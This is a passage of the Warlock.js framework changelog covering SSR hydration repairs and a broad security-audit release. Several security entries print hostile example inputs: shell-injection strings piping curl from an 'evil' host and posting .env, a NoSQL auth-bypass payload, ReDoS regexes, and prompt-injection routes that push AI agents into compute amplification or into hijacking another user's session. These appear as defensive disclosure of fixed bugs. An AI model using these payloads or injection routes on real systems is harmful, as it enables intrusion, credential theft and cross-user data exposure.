@warlock.js/web repairs published React hydration and adds an application-owned 404 page, typed metadata, and safer Fast Refresh boundaries; @warlock.js/core adds Tailwind and shadcn setup commands.
- Added
404.page.tsx— an app-owned not-found page. It renders only whentext/htmlis explicitly present in the request'sAcceptheader, so an unmatched/api/...path still returns the JSON 404 an API client expects rather than a document. It renders with no layouts: discovery reports an empty layout chain for this page only, so the client hydration registry matches what the server has always rendered instead of wrapping a failure page in chrome that can itself throw or need data. Ordinary pages beside it keep their full layout chain, and nested-layout refusal on its path is unchanged. - Added
export const metadatais typed (PageMetadata) and checked at build time. An unannotated object literal with a misspelled key —{ tittle: "x" }— now fails the build, naming the file, the line and the offending key. It previously typechecked as a plain object and was silently ignored at runtime. - Added Fast Refresh in dev now applies only when an edit is confined to component bodies. Any module-level change — an import, a module-level declaration, or any server export,
metadataincluded — forces a full page reload instead of a stale hot update; a JSX-only edit still hot-updates in place with component state intact. - Changed **
warlock devnow refuses a*.page.tsxthat exports no route**, throwingMissingRouteExportErrorand naming the file. It previously 404'd silently, so a missingexport const routelooked like a routing bug at request time. This matches whatwarlock buildalready did — dev and build now reject the same file. - Fixed React did not run at all in published installs of 5.0.0 through 5.0.2. The dev Vite server served
react-dom/clientas raw CJS, sohydrateRootdid not exist and the hydration module threw while being parsed. This one defect is the cause of all four symptoms reported against those versions:useStatenever updated, Fast Refresh never ran, metadata never refreshed, and<Link>fell back to a full page reload. Fixed by declaring the React entries in the dev server'soptimizeDepsso they are pre-bundled to ESM before the browser asks for them. This is not a hydration _improvement_ — hydration did not happen. - Fixed The browser was loading two copies of every
@warlock.js/webclient module. Module-level state (context, the navigation runtime) existed twice, so a value written through one copy was invisible to the component reading the other. - Removed A false comment shipped in 5.0.0 through 5.0.2 claiming that a page's route is derived from its file location. No such derivation has ever existed in this package; the route comes from the page's
routeexport and nothing else. The comment is gone from the scaffold emitted bywarlock add web, but every app scaffolded on 5.0.0, 5.0.1 or 5.0.2 still carries it in its own source — delete it by hand.
- Added
warlock add tailwind— installs and wires Tailwind CSS v4 through PostCSS. - Added
warlock add shadcn— sets up the prerequisites shadcn/ui expects. It is _not_ a wrapper around the shadcn CLI: you still run that yourself to add components, this only makes the project ready for it. - Changed
warlock devprints one status block per run. The banner is printed exactly once, and the URL it prints is never a raw[::1]address. The single-boot guard behind this is new in this release — it was never present in any published version, so duplicate boots on 5.0.x were real, not a display artefact. - Changed
warlock doctornow reports the same route count aswarlock dev. The two walked routes differently and disagreed.doctoralso emits zero warnings on a healthy project — so a warning now means something — and fails loudly on a route module that genuinely fails to load, instead of counting it as fine. - Removed A false comment that the
warlock add webscaffold emitted in 5.0.0 through 5.0.2, claiming a page's route is derived from its file location. No such derivation has ever existed. The stub no longer emits it; apps already scaffolded on those versions still carry the comment in their own source and must delete it by hand.
- Added The scaffold typechecks from a fresh install, and a CI gate keeps it that way. A newly created project previously could fail
tscon its own generated source. - Added A real home page, replacing the placeholder — it includes a counter whose working state is proof that hydration actually ran in the browser.
- Changed
src/typings.d.tsis now the sanctioned home forRequestLocals/RequestUsermodule augmentation. The file is generated with both augmentation blocks stubbed and commented, so there is one obvious place to declare per-request typed data. - Changed Replaced stale scaffold values that had been carried forward: the
wow2project name and the4.15.0dependency version no longer appear in generated projects.
5.0.2 2026-08-25
- Fixed
<Head/>read an empty document context under SSR. The connector now setsssr.noExternal: ["@warlock.js/web"]inweb-connector.ts. Without it the server loaded two instances of this package — one externalised, one bundled — so the context the renderer wrote to was not the one<Head/>read from. A published 5.0.1 install that returned 500 on a page request returns 200 after this fix.
5.0.1 2026-08-25
- Changed Narrowed the
vitepeer dependency to">=7.3.5 <8", so a consumer resolving vite for this package cannot land on a version outside the range it is built against. - Fixed Internal: a test in
gate-b-secrets.spec.tsdepended on the ambientNODE_ENVand failed depending on how the suite was invoked. No runtime behaviour changed.
- Fixed The
warlockbinary was never linked in a yarn-1 scaffold. Installing the batched features under yarn 1 hit an _Invariant Violation_ in yarn's linker, which aborted the install beforenode_modules/.binwas written — leaving a scaffolded project whose ownwarlockcommand did not exist.App.pinViteResolution()now writes matchingresolutionsandoverridesentries for vite into the generatedpackage.json_before_ the batched feature install runs, so a single vite version is resolved and the linker completes.
5.0.0 2026-08-25
- Added The project creator now offers the
webfeature for Warlock SSR pages. - Changed Scaffold command failures are captured and reported instead of allowing later success output to hide a failed dependency install, Git initialization, feature addition, or cache warm-up.
- Changed Generated route handlers use the new request-context argument shape, and generated cache configuration honors
CACHE_DRIVER.
- Changed IP validation no longer imports Node's
netmodule, so the same IPv4 and IPv6 rules can run in browser bundles. - Changed Optional validators now skip value rules only for absent values; present empty values such as
""are validated instead of passing through with the wrong output type.
- Added SSR React pages with hydration, client navigation, route metadata, shared data, and Vite integration.
- Changed The hydration runtime is packaged as its own public entry, and production/dev route wiring now resolves the packaged client manifest and stylesheets.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed Authentication can now use an explicit header or named-cookie credential source and a configurable
canAuthenticatepolicy; invalid credentials are distinguished from server and configuration failures instead of turning every verification error into a 401.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Added
request.requireUser()— returns the authenticated user non-optionally, or throwsUnAuthorizedErrorwhen no user is attached. For handlers behind an auth guard, where an absent user is a misconfigured route rather than a normal state; replacesrequest.user!assertions
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
- Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
4.16.0 August 18, 2026
Security release across the framework. A full security audit closed 10 release-blockers — shell RCE, NoSQL/operator injection, filesystem path traversal, SSRF, dashboard stored XSS, IP-spoofing, and mass-assignment IDOR — and hardened orchestrator session/tenant isolation, supervisor fan-out, default log redaction, and trustProxy handling across ai, cascade, core, cache, logger, herald, access, ai-workspace, ai-panoptic, notifications, seal, context, fs, and create-warlock. Also bumps @mongez/* to the 2026-08-17 security release (reinforcements 4 CSPRNG Random).
- Security
guardedFetchno longer lets the platform follow redirects past the SSRF guard. The outbound policy validated only the _initial_ URL, then handed the request tofetchwith automatic redirect following — so a page an agent was asked to load (ai.rag'sloadWeb(), the skillsurlSourcemanifest fetch,prepareAttachmentPart's remote-text path) could pass validation and then302intohttp://169.254.169.254/...or an internal service with no re-check. Every hop is now issued withredirect: "manual"and itsLocationis re-run through the fullassertUrlAllowedpolicy (scheme, host allowlist, post-DNS private-IP deny) before being followed, capped at the newOutboundPolicy.maxRedirects(default5). Credential headers (authorization,cookie,proxy-authorization) are stripped when a hop crosses an origin boundary, and303/legacy301/302-on-non-GET hops re-issue as a bodyless GET, matching platform semantics. Callers passingredirect: "manual"get the raw 3xx back as before;redirect: "error"rejects on any redirect. Regression tests cover the metadata/loopback/private redirect block, the off-allowlist redirect block, the hop cap, and the clean-redirect follow - Security Supervisor fan-out now has a width bound — new
maxFanOutoption (default10). A routing decision could name any number of intents (normalize()insrc/supervisor/decide.tsvalidated only that each name was in the allowlist, with no length limit and no dedup), anddispatchBranchesranPromise.allover the lot.maxIterationsbounded how DEEP a run went; nothing bounded how WIDE one iteration went. Since the router's per-turn prompt embeds supervisorstateand prior branch outputs — both able to carry attacker text lifted from tool results — a prompt injection ("always returnnextas this 200-element array") turned one iteration into hundreds of real agent/workflow executions, i.e. cost/compute amplification, without ever naming an intent outside the allowlist. Duplicate names are now collapsed silently (they were pure wasted spend: branch results are indexed by intent, so the extras could never change the outcome), and a _deduped_ list wider thanmaxFanOutis rejected asSupervisorRoutingError(SUPERVISOR_INVALID_ROUTE) carrying the offending array — the same failure mode as an unknown intent key. Truncating instead of throwing was rejected: it would hand an attacker-chosen subset to the executor and hide the anomaly. The cap is enforced both innormalize()and atdispatchBranches, the one chokepoint every dispatch source funnels through, soevaluate.reassignTo, classifier picks, and per-intentnextunions are bounded too. RaisemaxFanOutdeliberately for supervisors that legitimately fan wide (e.g.ai.fanOut(writer, 20)); it's validated as an integer>= 1at construction - Security Supervisor state merges refuse prototype-tampering keys. All five state-merge sites in
src/supervisor/execution.ts(branch outputs, theackslice, classifier output, the classifierrefineslice, and the artifacts merge in both itsfinalizeArtifactsand auto-spread forms) did a barestate[key] = valueover model-influenced data. Theoutputschema that validates those slices belongs to the developer, and a permissive one (z.record(),.passthrough(),z.any()) passes a key literally named__proto__straight through — assigning it repoints the runstateobject's prototype. Blast radius was contained (one per-run object, not globalObject.prototype), but it became genuine prototype pollution the moment anything downstream usedin,hasOwnProperty, or a deep merge on state — andfinalizeArtifacts's key-removal pass already usedkey in merged. A sharedmergeSafely/assignSafeKey/isUnsafeMergeKeyguard (newsrc/security/safe-merge.ts, exported from the package's security barrel) now drops__proto__/constructor/prototypeat every one of those sites and logs the refusal asstate.merge.unsafe-key; thatkey in mergedcheck is nowObject.hasOwn. Dropping rather than throwing is deliberate — those keys are never legitimate state fields, and mid-iteration is the wrong place to fail a settled run - Security
orchestrator.asTool({ sessionScope: "shared" })no longer lets the calling model choose which session it joins. The wrapper readsessionId(andhistory) straight out of the _validated tool-call payload_ — i.e. out of arguments the outer agent's LLM wrote — and handed them toorchestrator.execute(), which loads that session's checkpoint, merges its persistedstate, runs a turn against it and writes a fresh checkpoint back. The JSDoc actively instructed developers to thread the session id throughinputSchema. AsessionIdis bearer-equivalent to full read/write on the session, so any prompt injection reaching the outer agent (a summarized document, a poisoned tool result, a fetched page) could say "continue session<victim-id>" and have the nested orchestrator splice an attacker-directed turn into a stranger's live conversation and return its content — including prior state — into the outer transcript. The target session is now bound OUTSIDE the model-visible schema, via the newOrchestratorAsToolOptions.session: either a literal id fixed atasTool()construction, or a(ctx) => sessionId | { sessionId, history }resolver reading the invocation'sToolContext(the same out-of-band channelsignal/artifactsalready travel on, which an LLM cannot write to).sessionId/historyare stripped from the payload before it is forwarded asexecute(input), and a resolver that returns nothing fails the call rather than falling back to the payload. Breaking for"shared"scope only: building such a tool withoutsessionnow throws at construction. The pre-4.15.0 behavior is still reachable behindunsafeAllowModelSessionId: true, documented at the API surface as bearer-token-equivalent access that obliges the developer to verify session ownership themselves."fresh"scope (the default) is unchanged - Security Orchestrator/agent memory is session-scoped by default — recall can no longer surface another user's remembered turns.
OrchestratorConfig.memoryis resolved once per orchestrator instance and reused by everyexecute()/resume()regardless ofsessionId, and neitherMemoryItem,RecallOptions,MemoryContractnor the four tier implementations carried any session/tenant key — sorecall()could not be scoped to the calling session andremember(ON by default) wrote every clean turn's input + outcome text into one shared namespace. In the framework's own documented integration pattern (oneai.memory()built at boot, passed toai.orchestrator({ memory }), serving all end users) user A's remembered text was recallable by user B's semantically similar turn, with no attacker action required.MemoryItem.scopeandRecallOptions.scopeare new opaque isolation keys, enforced inside each tier as an exact-equality match before hits are scored, merged or sliced — never left to the caller — and folded into the stored key so two scopes writing identical text stay two entries (including the procedural tier'susesreinforcement counter). All four tiers enforce it:working,semantic,episodic,procedural. An unscopedrecall()reads only the unscoped pool; there is no wildcard query. The orchestrator derives the scope from the execute-timesessionId("session:<id>") — not from the payload, the context bag, or the model — via the newOrchestratorMemoryConfig.scope, which defaults to"session". Behavior change: memories seeded or written before the upgrade are unscoped and are no longer recalled by a session-scoped turn. Cross-session pooling is now an explicit opt-in —scope: "shared"restores the pre-4.15.0 single-pool behavior (and keeps reading pre-upgrade entries);scope: (sessionId) => keyderives a custom boundary, e.g. per tenant. The vector tiers overscan before filtering so a noisy neighbouring scope cannot starve a scoped recall of its top-k - Security The working-memory tier is size-bounded — new
working: { maxItems }(default1000).WorkingMemorybacked its buffer with a plainMapthat grew by one entry per uniqueremember()and had no cap, TTL or eviction of any kind. It is also the one tier that keeps everything it is told in _process_ memory, for the lifetime of thememory()instance — whichai.orchestrator({ memory })resolves ONCE and reuses for every session, for as long as the process runs. Since distinct text derives a distinct id nothing dedups, so an attacker able to drive turns through a memory-backed orchestrator (withrememberon by default) added a permanent entry per request until the process ran out of memory: a cheap memory-exhaustion DoS against any internet-facing deployment. The buffer now evicts on overflow. Policy is FIFO over insertion order, not LRU, and deliberately so: recall on this tier is a pure recency proxy (it reverses insertion order and slices the newestk, never reordering), so the front of the buffer is by construction the region recall reaches last — FIFO evicts exactly the entries a bounded recall would never have returned, while true LRU would need read-time reordering that would also rewrite thescoreevery recall reports. Re-remembering an existing id still updates in place and keeps its slot.maxItemsis validated as an integer>= 1at construction and has no unbounded setting — "no cap" is the vulnerability, not a configuration choice; raise it deliberately for a long-lived single-tenant process, and put durable recall in the semantic / episodic tiers, which delegate retention to aCacheDriver. Known and documented limitation: the bound is global rather than per-scope, so a busy session can push another's older entries out — a recall-quality degradation on a volatile scratch tier, never a disclosure (the scope filter still applies), and a per-scope quota would not help against an attacker holding many sessions anyway - Security
semanticCache()is per-session-scoped by default — one caller's cached answer is no longer served to another. The middleware is built once at app boot and shared by every end user, itsnamespacewas a static string, and a hit is returned as a syntheticModelResponsewith no LLM call in between — so both lookup paths (the exact prompt-hash key and the vectorsimilar()match) could serve user A's cached response, personal context and all, to user B's merely _similar_ prompt, and let an attacker seed an entry engineered to sit near a predictable class of future queries and have it answered from the store thereafter. Entries now carry ascopederived from the run's ownAgentExecuteOptions.sessionId("session:<id>", the same derivation the memory fix uses) — read out of the execute options, never out of the prompt or the model's output — folded into the stored key (hashed, since asessionIdis caller-supplied and may contain the key delimiter) _and_ re-checked as exact equality on the stored entry, so key-level separation is never the thing authorizing a read. The vector path overscans before filtering, mirroring the memory tiers, so a noisy foreign session cannot occupy the top-kand mask a caller's own hit. NewSemanticCacheOptions.scope:"session"(default),"shared"(one pool for every caller — the explicit opt-in for genuinely public Q&A, and the pre-4.15.0 behavior), or(context) => keyfor a custom boundary such as per-tenant. Two behavior changes to expect: entries written before the upgrade are unscoped and are only read by unscoped runs, and scoping trades cross-user hit rate for isolation — a public FAQ deployment where no response can carry a caller's private context should now setscope: "shared"on purpose. Runs made _without_ asessionIdcontinue to share one unscoped pool (unchanged behavior for them); threadsessionIdthroughexecute()— composites already do — to get the isolation - Security The planner's plan schema rejects an over-long plan at parse time. Strict-mode JSON Schema cannot express
maxItems, somaxStepswas never on the wire (plan-schema.tsdiscarded the parameter outright withvoid maxSteps) and the only enforcement wasPlannerRun's tail truncation — which runs _after_ the wholesteps[]array has been parsed, normalized intoPlannerStep[]and stored onthis.plan. A provider or proxy that ignores the prompt's step budget could therefore make the planner deserialize an arbitrarily long array before anything trimmed it.validate()now enforces a hard ceiling ofmaxSteps * 4(or100whenplanSchemais built without amaxSteps), rejecting rather than truncating: a plan several times its budget is a malfunction worth surfacing as the typedPlannerPlanInvalidError, not a prefix worth silently executing. The slack factor keeps the normal case — a model overshooting "at most N steps" slightly, which the runtime still truncates toskipped— working exactly as before
- Security NoSQL operator injection via equality filters is now rejected.
where({ field: value }),where(field, value)and the filter-accepting model statics (first,findFirst,findAll,count,paginate,deleteMany,deleteOne, …) treated the value verbatim, so a request-controlled payload such as{ password: { $ne: null } }compiled into a MongoDB _operator_ query instead of an equality match — the textbook auth-bypass primitive (User.first({ email, password })matched any user). Equality-position values (and top-level object-form keys) containing$-prefixed keys now throwUnsafeFilterError. Explicit operator APIs are unaffected:where(field, operator, value),whereIn/whereNull/whereBetween/…, and the object form ofwhereRaw. Dotted paths ("profile.name") and plain sub-document equality values remain valid. AsanitizeFilter/sanitizeFilterValuehelper pair is exported for callers who forward request objects to other driver-level APIs - Security String-mode
whereRaw()/orWhereRaw()no longer compiles to$whereon the MongoDB driver. Any string expression was wrapped as{ $where: "<js>" }— JavaScript executed _inside_mongodfor every scanned document (an injection sink whenever any part of the string was request-influenced, and an unindexed full-scan DoS even when trusted), with?-bindings substituted by string concatenation rather than real parameterization. The MongoDB parser now throwsUnsafeRawExpressionErrorfor string expressions and directs callers to the object form (whereRaw({ $expr: … })), which keeps working. SQL drivers keep string mode with real bindings - Security
static hidden— fieldstoJSON()can never emit. With noresource/toJsonColumnsconfigured (the quick-start model shape),toJSON()— invoked implicitly byJSON.stringify(model)/res.json(model)— returned the entire raw document, password hashes and tokens included. Models can now declarestatic hidden = ["password", …]; those top-level fields are ALWAYS stripped fromtoJSON()output — with the raw-document default, withtoJsonColumns(hidden wins), and from the data handed to aresourceclass. Defaults to[], so nothing changes until a model declares hidden fields — but because that default still fails open, cascade now logs a one-timeconsole.warnper model whose schema declares a credential-shaped field (password/passwordHash/secret/token/apiKey/api_key, case-insensitive) that nohidden/resource/toJsonColumnscovers - Security Atomic/find-and-modify statics now sanitize their filter.
atomic(),findAndUpdate(),findOneAndUpdate(),findAndReplace()andfindOneAndDelete()forwarded theirfilterobject straight to the driver — bypassingwhere()and therefore the operator-injection check above, so{ role: { $ne: "admin" } }from a request body was still a live operator query on these paths. The filter argument now runs throughsanitizeFilterand throwsUnsafeFilterErroron$-prefixed keys. Update-operator semantics ($set/$inc/$unset/…) are untouched — only the FILTER is checked. Callers who legitimately need operator conditions must express them through the query API (Model.query().where(…)) instead of the raw filter argument - Security Residual injection paths closed. The three-argument equality form
where(field, "=", value)now sanitizes its value like the two-argument form (other operators are unaffected), and the object form ofwhereRaw()/orWhereRaw()rejects the server-side JavaScript operators$where,$functionand$accumulatoranywhere in the expression (throwsUnsafeRawExpressionError);$exprand the other aggregation operators keep working - Security A
merge()d primary key can no longer retarget a write at another document.performUpdate()built its filter frommodel.get(primaryKey)_after_merge()had run, so the canonical update-my-profile shape —model.merge(req.body); await model.save()— let a body carrying{ id: "<victim-id>", role: "admin" }redirect the UPDATE (and the mass-assigned fields with it) onto somebody else's row. Two independent controls now stand between a payload and the write target: (1) an instance captures its primary key at the moment it becomes persisted (isNewflipping tofalse— hydration, or the writer after an insert), andupdate/replace/destroybuild their filter from that captured value, exposed asmodel.trustedPrimaryKey; (2)merge()on an already-persisted model drops the identity columns (id,_id, and the configured primary key) instead of applying them — which also coverssave({ merge }). Identity columns are additionally excluded from the update's$set/$unset, so an explicitset("id", …)on a loaded record no longer rewrites the key of the row it is pinned to (_idwas never writable in MongoDB anyway); changing a primary key is now a deliberate operation through the atomic/raw APIs. Creating a record with an explicit id is unchanged — a new model accepts identity columns — and the writer still merges driver-returned values (generated_id,RETURNING *) back onto the instance through a framework-internal path that request data never reaches - Security
whereLike/whereSearchstring arguments are matched literally instead of compiled as regexes.whereLike,whereNotLike,whereStartsWith/whereEndsWith(and theirNotvariants) and the$regexform ofwhereSearchinterpolated their argument straight into a MongoDB$regex. Wired to a search box —User.query().whereSearch("name", req.query.q), the intended use — that handed the caller the regex engine running insidemongod: metacharacters rewrote the match semantics (^.*$matches everything,^a/^bprobes read a value back character by character), and a nested-quantifier pattern such as(a+)+$backtracked catastrophically against every scanned document. String arguments are now escaped and treated as literals; the SQLLIKEwildcard%still expands (to.*, with runs of%collapsed) and matching stays unanchored/substring as this driver documents. An explicitRegExpargument — which cannot arrive as JSON — is still used as a pattern, so raw regex remains available to developer-authored queries; never build thatRegExpfrom user input.escapeRegex/likePatternToRegexSourceare exported for callers compiling their own patterns. The Postgres path was already parameterized (ILIKE $1) and is unchanged - Security **
@mongez/*dependencies bumped to the 2026-08-17 security release**:@mongez/reinforcements^3.3.0→^4.0.1,@mongez/dotenv^1.3.1→^1.3.2,@mongez/events^2.2.6→^2.2.7,@mongez/supportive-is^2.1.3→^2.1.4. Reinforcements 4 adds a prototype-pollution guard toset/merge/pick/defaults— the utilities behindmodel.set()/model.merge(), i.e. exactly where request-shaped data enters a model — and a ReDoS fix inrepeatsOf. Its breaking change (Randomis CSPRNG-backed and no longer honorsRandom.seed()) does not affect cascade: the package imports noRandomAPI and seeds nothing. Requires Node 20+, which cascade already targets
- Security
request.detectIp()no longer trustsX-Real-IP/X-Forwarded-Forunlesshttp.trustProxyis set. Both headers are client-settable, anddetectIp()honoured them unconditionally — bypassing thetrustProxyopt-in the Fastify server itself is configured with. Any client could therefore spoof its IP to everything keyed ondetectIp():ipFilterallowlists/denylists, the default rate-limit bucket key, and anonymous idempotency scoping. Without the opt-in,detectIp()(and itsrealIpalias) now returnsbaseRequest.ip— the socket peer address, which cannot be forged - Security
http.trustProxynow accepts a hop count or a trusted-proxy list, anddetectIp()honours them.trueis the wrong shape for the common topology: an edge that _appends_ toX-Forwarded-Forleaves whatever the client prepended as the leftmost entry, so "trust the leftmost hop" hands the client its own IP back. The config value is passed to Fastify untouched, anddetectIp()now reads the resolved client offrequest.ipinstead of re-parsing the header — so both agree, and every Fastify shape works: - Dependencies Bumped
@mongez/*deps to their 2026-08-17 security release specs:concat-route^1.2.0,config^1.2.1,dotenv^1.3.2,events^2.2.7,http^3.5.0,localization^3.4.7,reinforcements^4.0.1,supportive-is^2.1.4 - Dependencies ⚠
@mongez/reinforcements4.0.1 is a major bump:Randomis now CSPRNG-backed (WebCrypto) andRandom.seed()was removed — seeded/reproducibleRandom.string/nanoid/id/token/uuidcalls now throw. Auditedcore'sRandom.string(...)call sites (use-case.ts,http/request.ts,dev-server/files-watcher.ts,http/uploaded-file.ts) and its test suite: none rely on seeding or reproducible output, so no code changes were required - Dependencies
@mongez/encryption2.0.1 (asyncencrypt/decrypt, throws on failure) does not apply to this package —coreis not a consumer;src/encryption/encrypt.tsuses Node's built-incryptomodule directly and is unaffected
- Added SSR React pages served by the Warlock HTTP server. A page route is an ordinary Warlock route whose handler renders React instead of returning JSON.
- Added Hydration, and client-side navigation via
<Link>— no document reload, Back and Forward included. - Added React Fast Refresh in
warlock dev, including a server render that reflects the edit rather than the pre-edit module. - Added Named links:
href(name, params, query)validates the published route table at runtime; an unknown route name throws. - Added
revalidate()— re-run the current route's loaders after a mutation. - Added MRR's navigation API mirrored by name (
navigateTo,navigateBack,currentRoute,queryString, …) without depending on that package. - Added
warlock add webscaffoldssrc/web/and registers the connector. - Fixed
metadata()no longer runs when a loader rejected. It used to be called withdata: undefinedwhile the type promised otherwise, so a metadata function reading its data threw aTypeErrorthat replaced the loader's real error and pointed at the wrong file. - Fixed Validation reads the same query the loader reads. Stage 4 took
queryandparamsfrom a hand-parsed URL whilebodyandheaderscame from the request — so?tags=a&tags=breached validation as"b", and a rule onfilter.statusnever fired because validation saw a key literally namedfilter[status]. - Fixed
href()emits the query grammar core actually parses; nested objects and arrays are no longer destroyed byString(value).
- Security File driver path traversal (Critical): cache keys were mapped to on-disk paths with
path.resolve(directory, key)and no sanitization, so a key containing../(reachable throughset/get/remove/removeNamespace, including keys derived from user input viacached()auto-keys) escaped the cache directory and allowed arbitrary file read, write, and recursive delete. The file driver now percent-encodes%,/, and\when mapping a key to its directory (each key becomes exactly one contained directory component; the logical.-delimited namespace scheme is unchanged) and additionally asserts the resolved path stays inside the cache root, throwingCacheErrorotherwise. Memory/redis/pg key semantics are unaffected. - Security Redis
removeNamespacenow escapes glob metacharacters (*,?,[,\) before building itsKEYSpattern, so a namespace carrying untrusted input can no longer widen the match and delete keys outside its own prefix. - Security Removed the raw
console.log(value)dump of the full cached payload whenstructuredClonefails inparseCachedData— cached values (potentially PII/tokens) no longer leak to stdout; the structured error log with the value's type is kept. - Security Credential leak via error logging (Medium):
logError()and the Redis driver'sconnect()failure path printed the rawErrorobject straight to stdout (console.log) or tolog.fatal, which could include the connection URL — and password — that some Redis/Node client errors echo back inerror.message/causeon connection failure. Both call sites now go through a newsafeErrorInfo()helper that logs only a redacted{ message, code }shape (never the raw error object), with anyscheme://user:pass@credentials in the message masked toscheme://[REDACTED]@. The bareconsole.log(error)/console.log("Err", error)calls are gone entirely. - Security Redis
removeNamespaceblockingKEYSscan (Medium): replaced the blockingKEYScommand with a non-blockingSCANcursor loop (client.scanIterator), so clearing a namespace on a large keyspace no longer stalls the single-threaded Redis event loop for every other tenant/consumer. The existing glob-escaping fix (above) is unchanged. - Security File driver
removeNamespacedotted-key gap (Medium): dotted keys (ns.a) are stored as _sibling_ directories under the cache root (see the path-traversal fix above), so removing namespacens— which only ever deleted a directory literally namedns— silently left everyns.*key on disk.removeNamespacenow lists the cache root's immediate children, decodes each back to its logical key, and removes every directory whose logical key equals the namespace or starts with<namespace>., matching the boundary semantics thepgdriver already used for the same contract. HonorsglobalPrefix(previously ignored, so a global flush could wipe the whole cache root instead of scoping to the tenant) and preserves the existing path-containment guard. - Dependencies Bumped
@mongez/reinforcementsto^4.0.1. The major makesRandom.string/nanoid/id/token/uuidCSPRNG-backed (WebCrypto) and removesRandom.seed()support; audited this package's source and tests forRandom.seed(and for seeded/reproducible use ofRandom.*, no hits, so no code changes were needed.
- Security Fixed a critical command-injection bypass of the shell allowlist. Commands were spawned with
shell: truewhile the allow/deny gate inspected only the leading executable token, so a command likenpm test; curl http://evil | sh(or any&&,|, backtick,$(), or redirection chain) passed the gate and the shell executed the injected suffix — a prompt-injected agent could run arbitrary programs past a fail-closed allowlist. Commands are now tokenized into an argv with no shell semantics (quotes respected; unquoted metacharacters;&|<>``$()and newlines are rejected outright, by bothisCommandAllowedand the local backend) and spawned withshell: false. On Windows, the argv runs through acmd.exe /d /s /cwrapper with every element individually quoted (batch shims likenpm.cmdcannot be spawned shell-less); arguments containing",%`, or newlines are refused there rather than risked (BatBadBut-class smuggling). - Security Fixed
run_testspattern injection. The model-controlledpatternwas concatenated verbatim into the shelled test command, giving a second, direct injection path ({ pattern: "; curl http://evil -d @.env #" }). The pattern is now forwarded as a single double-quoted token — one literal argv element to the runner — and patterns containing double quotes or newlines are rejected at input validation. - Security Behavior note: shell conveniences (pipes, redirection, chaining, variable expansion) no longer work in
run_shell/exec— commands run one argv at a time. Quoted metacharacters remain plain argument data. - Security Fixed a ReDoS / event-loop DoS in
grep.Ops.grepcompiled a model-controlled pattern into aRegExpwith no length cap and ran it synchronously, per line, over every scanned file — a pattern like(a+)+$against an ordinary line could hang the process for an attacker-controlled or prompt-injected duration.grepnow rejects patterns over 200 characters and patterns matching a nested-quantifier heuristic ((x+)+,(x*)*,(x+)*,(x*)+-shaped groups) as a newWorkspacePolicyError(type: "unsafe-pattern") before compiling the regex, and skips (rather than tests) any line longer than 2000 characters to bound the worst-case backtracking cost of any single call.
- Security Poison-message DoS: an
EventConsumer.handle()that reliably throws was nack+requeued forever, with no retry cap and no dead-letter escape hatch — a single bad message could pin a consumer in a hot ack/nack loop indefinitely, starving every other message behind it (worse with low prefetch).prepareConsumerSubscription's catch now calls the channel's boundedctx.retry()instead of an unconditionalctx.nack(true), so redelivery is capped and the message is dead-lettered (if configured) or dropped with a loudlog.erroronce the cap is hit — never silently, and never forever - Security Fixed the retry counter never advancing on the automatic (non-explicit) nack path (
RabbitMQChannel.subscribe's catch, used by any directchannel.subscribe(handler, { retry, deadLetter })caller whose handler throws instead of callingctx.retry()itself). It readx-retry-countfrom the _original_ message's headers and then plain-nack(msg, false, true)'d — which redelivers that same original message, so the header a developer'sretry.maxRetries/deadLetterdepended on never changed and the configured cap was silently never reached. Both the automatic path and the explicitctx.retry()path now share one bounded-retry routine that republishes with an incremented header, somaxRetries/deadLetterare honored regardless of which path a handler takes - Security Broker credentials no longer leak into thrown/logged connection errors.
username/passwordare now URI-encoded when building theamqp://URL (a reserved character like@/://in a generated secret previously produced a malformed URL whose parser error echoed the raw credential back), and any error surfaced fromconnect()— including one that embeds a caller-supplieduriwith credentials — hasuser:pass@redacted before it's re-thrown, so a connection failure can no longer put a plaintext broker password in front ofconsole.error/structured logging/an error tracker - Dependencies Bumped
@mongez/eventsto^2.2.7(no breaking changes) and@mongez/reinforcementsto^4.0.1. The reinforcements major makesRandom.string/nanoid/id/token/uuidCSPRNG-backed (WebCrypto) and removesRandom.seed()support — audited this package's source and tests forRandom.seed(and for seeded/reproducible use ofRandom.*; none found, so no code changes were needed.
- Fixed Cloning a log entry for redaction no longer discards an
Error's own enumerable properties. Previously, configuringredactat all silently reduced every loggedErrortomessage/stack/name— dropping.codeand friends as an unadvertised side effect, and putting.config.headers.authorizationpermanently out of reach of any path pattern. Those properties are now carried through the clone (and censored by the key denylist above). AnErrorsubclass whose constructor takes a non-string argument also keeps itsmessageinstead of being rebuilt as an empty one. - Fixed The redaction clone no longer expands buffers, typed arrays,
Map,Set,Promise, orRegExpinto plain objects — matching what the code already documented. ABufferincontexthad been rebuilt as a multi-thousand-key index map. - Security Secrets are now redacted by default. This is a behavior change — logs that previously showed these values in cleartext will now show
